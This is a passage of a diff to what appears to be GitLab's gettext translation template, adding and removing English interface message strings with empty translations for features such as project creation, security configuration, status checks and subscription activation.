msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -26407,6 +26911,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -26419,9 +26926,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -26437,10 +26941,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -26449,9 +26953,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -27199,9 +27700,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -27211,6 +27709,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -27313,7 +27814,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -27550,9 +28051,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -27568,6 +28066,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -28543,6 +29044,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -29164,16 +29677,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -29188,6 +29710,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -29200,6 +29725,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -29212,10 +29740,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -29224,6 +29752,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -29278,6 +29809,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -29296,9 +29830,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -29320,9 +29851,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29491,6 +30019,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29557,6 +30088,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29791,6 +30325,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29944,9 +30481,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -30181,9 +30715,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30430,6 +30961,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30523,6 +31060,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30760,6 +31300,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31066,6 +31609,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -31081,10 +31627,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -31306,18 +31855,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31351,9 +31939,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31408,6 +31993,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31513,6 +32101,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31624,6 +32215,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31648,6 +32242,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31759,42 +32356,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31804,18 +32452,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31834,6 +32512,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -32056,6 +32737,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -32218,9 +32902,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32368,6 +33049,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32398,7 +33082,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32425,6 +33109,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32620,6 +33307,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32665,6 +33355,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32683,9 +33376,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32989,9 +33679,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -33058,12 +33745,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -33091,6 +33772,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -33154,9 +33838,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -33199,9 +33880,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -33325,7 +34003,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33427,9 +34108,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33763,6 +34441,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33805,9 +34486,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33832,6 +34510,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33883,9 +34564,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33916,12 +34594,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33931,6 +34603,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33982,6 +34657,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -34165,9 +34843,6 @@ msgstr[5] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -34282,9 +34957,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34402,13 +35074,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34438,9 +35110,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34642,6 +35311,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34867,6 +35539,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -35110,6 +35785,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -35269,6 +35947,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35590,6 +36271,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35599,6 +36283,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35707,27 +36394,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35860,6 +36565,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35881,6 +36589,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35992,6 +36703,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36565,15 +37279,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36613,9 +37327,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36643,16 +37354,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36685,9 +37396,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36934,6 +37642,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -37042,6 +37753,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -37060,12 +37777,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -37075,6 +37798,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -37096,9 +37825,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -37267,6 +37993,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37471,6 +38200,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37582,9 +38314,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37867,10 +38605,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37909,6 +38647,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37939,9 +38680,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -38143,9 +38881,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38485,6 +39220,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
